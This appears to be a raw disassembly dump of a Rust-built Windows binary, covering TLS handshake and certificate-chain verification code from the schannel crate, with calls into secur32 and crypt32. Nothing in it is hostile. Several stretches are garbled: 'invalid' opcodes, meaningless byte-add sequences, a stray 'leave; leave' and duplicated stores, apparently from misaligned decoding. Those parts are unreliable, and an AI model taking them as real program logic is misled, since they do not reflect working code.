jb 0x1400b1aee
cmp rbx, r14
ja 0x1400b1b06
mov qword [rdi + 0x10], rbx
mov qword [rsi + 0x138], 0
xor edx, edx
xor eax, eax
jmp 0x1400b1a95
mov rdx, qword [rsp + 0x30]
mov rdi, rdx
mov rcx, rdx
call fcn.14001a570
mov qword [rsi + 0x138], 0
mov dword [rsi + 0x138], 0
mov dword [rsi + 0x138], 0
cmp al, 0xd
jne 0x1400b1a7e
mov rcx, rdi
mov edx, ecx
and edx, 3
mov eax, 1
cmp edx, 1
jne 0x1400b1a93
lea rsi, [rcx - 1]
mov rdi, qword [rcx - 1]
mov rbx, qword [rcx + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b1a63
cmp qword [rbx + 0x10], 0x11
jb 0x1400b1a51
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov eax, 1
jmp 0x1400b1a95
xor eax, eax
mov rdx, rdi
jmp 0x1400b1a95
test rdx, rdx
jne 0x1400b1a02
jmp 0x1400b19e9
xor edx, edx
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
call fcn.1401082c0
lea r8, [0x140141d80]
mov rcx, rbx
mov rdx, r15
call fcn.140108530
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r13
mov rdx, r12
call fcn.1401082c0
lea rcx, [0x14014192e]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x3b
call fcn.140108350
lea rcx, str.filled_overflowC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcio_read_buf.rs
lea r8, [0x140141d98]
mov edx, 0xf
call fcn.1401086b0
lea rax, str.filled_must_not_become_larger_than_initialized
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, [0x140141d98]
lea rcx, [rsp + 0x28]
call fcn.140108280
int3
cmp eax, 1
jne 0x1400b2cee
mov rcx, qword [rsp + 0x128]
mov eax, dword [rcx + 0x10]
mov rsi, qword [rsp + 0x70]
mov dword [rsi + 0x14], eax
movups xmm0, xmmword [rcx]
movups xmmword [rsi + 4], xmm0
mov eax, 1
jmp 0x1400b2cd0
test r13, r13
jne 0x1400b2cf7
movzx eax, byte [rdi + 0xd0]
test eax, eax
jne 0x1400b1e23
movzx ebp, byte [rdi + 0xd1]
movzx r14d, byte [rdi + 0xd2]
movzx r13d, byte [rdi + 0xd3]
movzx esi, byte [rdi + 0xd4]
mov rdx, qword [rdi + 0x90]
mov r15, qword [rdi + 0x98]
cmp r15, rdx
jne 0x1400b1eb0
test bpl, bpl
jne 0x1400b1f30
jmp 0x1400b1f44
xor r12d, r12d
nop word cs:[rax + rax]
mov r9, rdx
sub r9, r15
jb 0x1400b2dcf
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x1400b2db7
mov r8, qword [rdi + 0x88]
add r8, r15
mov rcx, rbx
call fcn.1400e7610
test rax, rax
jne 0x1400b2cb0
add r12, rdx
add r15, rdx
mov qword [rdi + 0x98], r15
mov rdx, qword [rdi + 0x90]
cmp r15, rdx
jne 0x1400b1ec0
test r12, r12
je 0x1400b1e95
cmp byte [rdi + 0xd0], 0
jne 0x1400b1f30
mov byte [rdi + 0xd1], 1
nop word cs:[rax + rax]
cmp qword [rdi + 0x38], 0
je 0x1400b2db7
cmp byte [rdi + 0xd0], 0
je 0x1400b1f4b
or sil, r13b
jne 0x1400b1f64
jmp 0x1400b1f57
mov byte [rdi + 0xd1], 0
or sil, r13b
jne 0x1400b1f64
cmp byte [rdi + 0x122], 0
je 0x1400b2464
test r14b, r14b
je 0x1400b25d1
cmp qword [rdi + 0x110], 0
je 0x1400b1f91
mov rcx, rdi
call fcn.1400b2e30
test rax, rax
jne 0x1400b2cc2
test rdx, rdx
je 0x1400b2d01
mov r15, qword [rdi + 0x78]
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b2dde
mov rdx, qword [rdi + 0x70]
cmp r15, rdx
ja 0x1400b2ded
mov r12, rax
mov rax, qword [rdi + 0x68]
mov dword [r12], r15d
mov dword [r12 + 4], 2
mov qword [r12 + 8], rax
movups xmmword [r12 + 0x10], xmm6
mov qword [rsp + 0xf0], 2
mov qword [rsp + 0xf8], r12
mov qword [rsp + 0x100], 2
movabs rax, 0x8000000000000000
cmp qword [rdi + 0xb8], rax
jne 0x1400b2030
mov qword [rsp + 0xb0], 0
jmp 0x1400b20b0
mov rdx, qword [rdi + 0xc0]
mov r8, qword [rdi + 0xc8]
lea rcx, [rsp + 0xb0]
call fcn.1400cf650
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x1400b20b0
mov r14, qword [rsp + 0xc0]
mov ebp, dword [rsp + 0xb8]
lea rcx, [rsp + 0xf0]
call fcn.1400469a0
mov r12, qword [rsp + 0xf8]
mov dword [r12 + 0x20], ebp
mov dword [r12 + 0x24], 0x12
mov qword [r12 + 0x28], r14
mov qword [rsp + 0x100], 3
mov eax, 3
jmp 0x1400b20b7
mov eax, 2
xor esi, esi
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x134], eax
mov qword [rsp + 0x138], r12
movabs rax, 0x200000000
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 0
movabs rax, 0x1100000000
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x98]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movabs rax, 0x300000000
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0xcc], 0
cmp byte [rdi + 0x122], 0
je 0x1400b22a0
cmp byte [rdi + 0x123], 0
mov edx, 0
mov rcx, qword [rsp + 0xe8]
cmove rdx, rcx
mov rax, qword [rdi + 0xe8]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xd0], xmm0
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xd0]
lea r8, [rsp + 0x130]
mov r9d, 0x1011c
call qword [sym.imp.secur32.dll_AcceptSecurityContext]
mov r13d, eax
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400b21db
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x1400b21ee
call qword [sym.imp.secur32.dll_FreeContextBuffer]
cmp r13d, 0x80090318
je 0x1400b23f7
test r13d, r13d
je 0x1400b2369
cmp r13d, 0x90312
jne 0x1400b241e
mov byte [rdi + 0x123], 0
cmp dword [r12 + 0x14], 5
jne 0x1400b24ec
mov r14, qword [rdi + 0x78]
mov eax, dword [r12 + 0x10]
mov r15, r14
sub r15, rax
jb 0x1400b2dfc
mov r13d, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x78], rcx
test eax, eax
je 0x1400b25c7
mov rdx, qword [rdi + 0x70]
mov rbp, rdx
sub rbp, r15
jb 0x1400b2e14
mov qword [rdi + 0x70], 0
test r15, r15
je 0x1400b2683
cmp rdx, r15
je 0x1400b2690
mov rcx, qword [rdi + 0x68]
lea rdx, [rcx + r15]
mov r8, rbp
call fcn.140106250
jmp 0x1400b268c
cmp byte [rdi + 0x120], 0
mov r8d, 0
je 0x1400b22b6
mov r8, qword [rdi + 0xa8]
movabs rax, 0x8000000000000000
cmp qword [rdi + 0xa0], rax
mov eax, 0
cmove r8, rax
mov rax, qword [rdi + 0xe8]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xd0], xmm0
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0xe8]
mov r9d, 0x9819c
call qword [sym.imp.secur32.dll_InitializeSecurityContextW]
mov r13d, eax
mov rcx, qword [rsp + 0x98]
test rcx, rcx
jne 0x1400b21d5
jmp 0x1400b21db
cmp dword [r12 + 0x14], 5
jne 0x1400b24a9
mov r14, qword [rsp + 0x88]
test r14, r14
je 0x1400b239a
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x110], r14
mov rbp, qword [rdi + 0x78]
mov esi, dword [r12 + 0x10]
mov r15, rbp
sub r15, rsi
cmp rbp, r15
jb 0x1400b2dfc
je 0x1400b272a
mov rdx, qword [rdi + 0x70]
mov r13, rdx
sub r13, r15
jb 0x1400b2e14
mov qword [rdi + 0x70], 0
test r15, r15
je 0x1400b2707
cmp rdx, r15
je 0x1400b272a
mov rcx, qword [rdi + 0x68]
lea rdx, [rcx + r15]
mov r8, r13
call fcn.140106250
jmp 0x1400b270c
mov eax, 1
cmp dword [r12 + 0x14], 4
jne 0x1400b2409
mov eax, dword [r12 + 0x10]
mov qword [rdi + 0x110], rax
test rsi, rsi
jne 0x1400b2823
jmp 0x1400b2844
shl r13, 0x20
or r13, 2
test rsi, rsi
je 0x1400b27e0
mov r8, qword [rsp + 0xc0]
cmp rsi, 0x11
jb 0x1400b2441
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xf0], 0
jne 0x1400b27ef
jmp 0x1400b1e50
mov byte [rsp + 0x78], r14b
mov byte [rsp + 0x6f], r13b
mov qword [rsp + 0x80], 0
mov rcx, qword [rsp + 0xe8]
mov edx, 0x53
lea r8, [rsp + 0x80]
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x1400b250d
cmp byte [rsp + 0x78], 0
jne 0x1400b1f6d
jmp 0x1400b2d4f
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x1400b24ce
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x120], rcx
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdx], ah
add dword [rax], eax
invalid
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x39], cl
js 0x1400b24d3
mov qword [rdi + 0x78], 0
mov qword [rdi + 0x110], 1
jne 0x1400b2742
add byte [rax], al
add byte [rax - 0x39], cl
xchg dword [rax], edx
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
test dword [rbx + 2], ebx
add byte [rax], al
jmp 0x1400b2806
mov r14, qword [rdi + 0x78]
mov r13d, dword [rsp + 0x80]
mov eax, 1
mov rcx, qword [rsp + 0x88]
mov r15, r14
jmp 0x1400b2697
mov r14, qword [rsp + 0x80]
mov rcx, qword [r14 + 0x20]
mov ecx, dword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1400b2872
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov rsi, rax
cmp qword [rdi], 0
mov r13, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
je 0x1400b25b7
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1400b25b7
nop dword [rax]
mov rbp, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov qword [rsp + 0x80], 0
mov rcx, rsi
mov rdx, rbp
mov r8d, 3
lea r9, [rsp + 0x80]
call qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
test eax, eax
je 0x1400b2d20
mov rcx, qword [rsp + 0x80]
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call r12
mov rcx, rbp
call r12
mov rcx, qword [rdi + 8]
mov rdx, r15
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1400b2550
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
jmp 0x1400b2885
mov eax, 1
jmp 0x1400b2692
mov al, 2
test r13b, r13b
mov ecx, dword [rsp + 0x11c]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x150]
jne 0x1400b263e
movaps xmmword [rsp + 0x80], xmm6
mov dword [rsp + 0x90], 0
mov rcx, qword [rsp + 0xe8]
mov edx, 4
lea r8, [rsp + 0x80]
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x1400b2daa
mov ecx, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x84]
mov r8, qword [rsp + 0x8c]
mov al, 1
mov byte [rdi + 0xd0], al
mov dword [rsp + 0x11c], ecx
mov dword [rdi + 0xd4], ecx
mov qword [rsp + 0x158], rdx
mov qword [rdi + 0xd8], rdx
mov qword [rsp + 0x150], r8
mov qword [rdi + 0xe0], r8
movzx eax, byte [rdi + 0xd0]
test eax, eax
je 0x1400b1e64
jmp 0x1400b1e23
test rdx, rdx
je 0x1400b2a01
mov qword [rdi + 0x70], rbp
xor eax, eax
mov rcx, qword [rsp + 0x78]
sub r14, r15
mov qword [rdi + 0x78], r14
mov qword [rdi + 0x110], rax
test r13d, r13d
mov r15d, r13d
mov rdx, rcx
mov eax, 1
cmove rdx, rax
mov rax, qword [rdi + 0x80]
mov rbp, qword [rdi + 0x90]
sub rax, rbp
cmp rax, r15
mov r13, rcx
jb 0x1400b29dd
mov rcx, qword [rdi + 0x88]
add rcx, rbp
mov r8, r15
call fcn.140106250
add rbp, r15
mov qword [rdi + 0x90], rbp
mov rcx, r13
call qword [sym.imp.secur32.dll_FreeContextBuffer]
test rsi, rsi
jne 0x1400b2823
jmp 0x1400b2844
test rdx, rdx
je 0x1400b272a
xor eax, eax
cmp rbp, r15
sete al
mov qword [rdi + 0x70], r13
mov qword [rdi + 0x78], rsi
mov qword [rdi + 0x110], rax
test r14, r14
jne 0x1400b2742
jmp 0x1400b27a4
xor eax, eax
cmp rbp, r15
sete al
mov qword [rdi + 0x78], rsi
mov qword [rdi + 0x110], rax
test r14, r14
je 0x1400b27a4
mov r15d, dword [rsp + 0x120]
test r15, r15
mov rsi, qword [rsp + 0x110]
mov rdx, rsi
mov eax, 1
cmove rdx, rax
mov rax, qword [rdi + 0x80]
mov r13, qword [rdi + 0x90]
sub rax, r13
cmp rax, r15
jb 0x1400b2c84
mov rcx, qword [rdi + 0x88]
add rcx, r13
mov r8, r15
call fcn.140106250
add r13, r15
mov qword [rdi + 0x90], r13
mov rcx, rsi
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rsi, qword [rdi + 0x78]
test rsi, rsi
je 0x1400b2806
lea rcx, [rsp + 0xd0]
mov rdx, rdi
call fcn.1400b3010
cmp byte [rsp + 0xd0], 0
je 0x1400b2806
mov r13, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
jne 0x1400b242f
nop dword [rax]
cmp qword [rsp + 0xf0], 0
je 0x1400b1e50
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400b1e50
cmp byte [rdi + 0xd0], 0
jne 0x1400b2816
mov byte [rdi + 0xd2], 0
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x1400b2844
mov r8, qword [rsp + 0xc0]
cmp rsi, 0x11
jb 0x1400b2835
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xf0], 0
je 0x1400b2861
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
xor r13d, r13d
test r13, r13
je 0x1400b1e59
jmp 0x1400b2cf7
mov rsi, qword [rdi]
test rsi, rsi
mov r13, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
je 0x1400b2885
mov rsi, qword [rdi + 8]
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x80], 0x20
mov dword [rsp + 0x88], 1
lea rax, str.1.3.6.1.5.5.7.3.1
mov qword [rsp + 0xb0], rax
lea rax, str.1.3.6.1.4.1.311.10.3.3
mov qword [rsp + 0xb8], rax
add byte [rax], al
add byte [rax], al
lea rax, str.2.16.840.1.113730.4.1
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x90], 3
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0xf0]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xc0000001
xor ecx, ecx
mov rdx, r14
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.crypt32.dll_CertGetCertificateChain]
test eax, eax
je 0x1400b2d61
mov r15, qword [rsp + 0xf0]
mov esi, 0xf00
cmp qword [rdi], 0
je 0x1400b2b2e
cmp dword [r15 + 0xc], 0
je 0x1400b2b2e
mov qword [rsp + 0x148], r14
mov dword [rsp + 0x148], esi
mov rax, qword [r15 + 0x10]
mov rbp, qword [rax]
mov rcx, r15
call r13
mov r13, rax
mov qword [rsp + 0x108], r15
cmp dword [r15 + 0xc], 2
jb 0x1400b2a0b
mov esi, 1
mov r14, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [rsp + 0x108]
nop word cs:[rax + rax]
mov rax, qword [r12 + 0x10]
mov rbp, qword [rax + rsi*8]
mov rcx, r12
call r14
mov r15, rax
mov rcx, r13
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov eax, dword [r12 + 0xc]
inc rsi
mov r13, r15
cmp rsi, rax
jb 0x1400b29b0
jmp 0x1400b2a1d
lea rcx, [rdi + 0x80]
mov r14, rdx
mov rdx, rbp
mov r8, r15
call fcn.140109710
mov rdx, r14
mov rbp, qword [rdi + 0x90]
jmp 0x1400b26d4
xor eax, eax
xor r15d, r15d
jmp 0x1400b2692
mov r15, r13
mov r14, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [rsp + 0x108]
movsb byte [rdi], byte [rsi]
and al, 8
add dword [rax], eax
invalid
movsb byte [rdi], byte [rsi]
and al, 8
add dword [rax], eax
add byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
call r14
mov qword [rsp + 0x140], rax
mov rcx, r15
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
call rsi
xor r15d, r15d
mov rdx, rsi
mov r12, rbp
jmp 0x1400b2a58
mov r15, r14
inc r15
mov rcx, r13
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rdx, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov eax, dword [r12 + 0xc]
mov esi, 0xf00
cmp r15, rax
jae 0x1400b2b14
mov rax, qword [r12 + 0x10]
test rax, rax
je 0x1400b2b14
mov r14, r15
mov rax, qword [rax + r15*8]
mov rcx, qword [rax + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r13, rax
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1400b2a42
nop
mov r15, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov rbp, rax
mov r8d, dword [r15 + 0x10]
cmp r8d, dword [r13 + 0x10]
jne 0x1400b2aec
mov rdx, qword [r13 + 8]
mov rcx, qword [r15 + 8]
call fcn.1401068d0
mov esi, eax
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test esi, esi
je 0x1400b2af7
mov rcx, qword [rdi + 8]
mov rdx, rbp
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1400b2aa0
jmp 0x1400b2a42
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jmp 0x1400b2ad5
mov rcx, rbp
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rsi
mov rcx, r13
call rsi
mov esi, 0xf10
mov rdx, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rcx, qword [rsp + 0x140]
call rdx
mov r15, qword [rsp + 0x108]
mov r14, qword [rsp + 0x148]
lea rax, [rsp + 0xf8]
movups xmmword [rax], xmm6
movabs rax, 0x200000018
mov qword [rsp + 0xf0], rax
movabs rax, 0x8000000000000000
cmp qword [rdi + 0xa0], rax
je 0x1400b2b76
cmp byte [rdi + 0x121], 0
jne 0x1400b2b76
mov rax, qword [rdi + 0xa8]
mov qword [rsp + 0x100], rax
mov dword [rsp + 0xd0], 0x10
mov dword [rsp + 0xd4], esi
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xd8], rax
movaps xmmword [rsp + 0xb0], xmm6
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0xb0], 0x18
mov ecx, 4
mov rdx, r15
lea r8, [rsp + 0xd0]
lea r9, [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertVerifyCertificateChainPolicy]
test eax, eax
je 0x1400b2d74
mov r13d, dword [rsp + 0xb4]
mov rax, qword [rdi + 0x100]
test rax, rax
je 0x1400b2c40
mov r8, qword [rdi + 0x108]
mov rcx, qword [r8 + 0x10]
dec rcx
leave
leave
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov qword [rsp + 0x80], r15
add byte [rcx + rcx*4 - 0x54], al
and al, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rsp + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
add byte [rax], al
add byte [rcx - 1], al
push rax
sub byte [rax - 0x7b], cl
invalid
je 0x1400b2c52
add byte [rcx + rcx*4 - 0x54], al
and al, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rsp + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
add byte [rax], al
add byte [rcx - 1], al
push rax
sub byte [rax - 0x7b], cl
sal byte [rdi + rdx - 0x17], 0x50
add dword [rax], eax
add byte [rbp - 0x7b], al
in eax, dx
jmp 0x1400b2d90
test r13d, r13d
jne 0x1400b2d7d
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
cmp byte [rdi + 0xd0], 0
movzx r13d, byte [rsp + 0x6f]
movzx r14d, byte [rsp + 0x78]
jne 0x1400b1f64
mov rax, qword [rsp + 0x128]
mov byte [rax], 1
jmp 0x1400b1f64
lea rcx, [rdi + 0x80]
mov rsi, rdx
mov rdx, r13
mov r8, r15
call fcn.140109710
mov rdx, rsi
mov rsi, qword [rsp + 0x110]
mov r13, qword [rdi + 0x90]
jmp 0x1400b277b
cmp rax, 2
movabs rax, 0xd00000003
cmove rdx, rax
mov rsi, qword [rsp + 0x70]
mov qword [rsi + 8], rdx
mov eax, 2
mov dword [rsi], eax
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor eax, eax
mov rsi, qword [rsp + 0x70]
jmp 0x1400b2cd0
mov rsi, qword [rsp + 0x70]
jmp 0x1400b2da1
lea rdx, str.unexpected_EOF_during_handshakeassertion_failed:_size___nread
mov r8d, 0x1f
mov cl, 0x25
call fcn.140095880
invalid
invalid
invalid
mov rsi, qword [rsp + 0x70]
mov qword [rsi + 8], rax
jmp 0x1400b2ccb
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, rbp
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rdi
mov rcx, r15
call rdi
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
jmp 0x1400b2d93
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rsi, qword [rsp + 0x70]
jmp 0x1400b2da1
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
jmp 0x1400b2d93
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
jmp 0x1400b2d93
mov r13, rax
mov rsi, qword [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov qword [rsi + 8], r13
jmp 0x1400b2ccb
shl rax, 0x20
or rax, 2
jmp 0x1400b2d15
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x14013d6c0]
mov edx, 0x29
call fcn.140108350
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lock or byte [rax], al
mov rcx, r15
call fcn.1401082c0
mov ecx, 8
mov edx, 0x20
add byte [rax], al
add al, ch
push rcx
invalid
invalid
add byte [rax], al
add al, ch
push rcx
add eax, 0x58d4c00
adc al, 0xf0
or byte [rax], al
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
mov ecx, edi
call fcn.140108340
lea rcx, [0x140141dcf]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x1f
call fcn.140108350
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_vecmod.rs
mov rcx, r15
stc
stc
call fcn.140108340
int3
add byte [rax], al
mov rsi, rcx
lea rbx, [rcx + 0x10]
mov r14, qword [rcx + 0x70]
mov rdi, qword [rcx + 0x78]
mov r15d, 0x400
lea rax, [rcx + 0x60]
mov qword [rsp + 0x20], rax
lea r12, [rsp + 0x28]
xor ebp, ebp
nop word cs:[rax + rax]
lea rax, [rdi + rdi]
cmp rax, r13
cmp eax, ebp
cmp eax, ebp
cmova r13, rax
cmp r13, 0x401
cmovb r13, r15
sub r13, r14
jbe 0x1400b2ee0
mov rax, qword [rsi + 0x60]
sub rax, r14
cmp rax, r13
jb 0x1400b2f88
mov r15, qword [rsi + 0x68]
lea rcx, [r15 + r14]
cmp r13, 2
jb 0x1400b2ed0
lea r8, [r13 - 1]
xor edx, edx
call fcn.1401069d0
add r14, r13
dec r14
add r15, r14
mov rcx, r15
mov r15d, 0x400
mov byte [rcx], 0
inc r14
mov qword [rsi + 0x70], r14
mov rax, r14
sub rax, rdi
jb 0x1400b2fd6
mov rcx, qword [rsi + 0x68]
add rcx, rdi
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
mov rdx, qword [rsi + 0x38]
test rdx, rdx
je 0x1400b2fe8
mov rcx, rbx
mov r8, r12
call fcn.1400e7350
test rax, rax
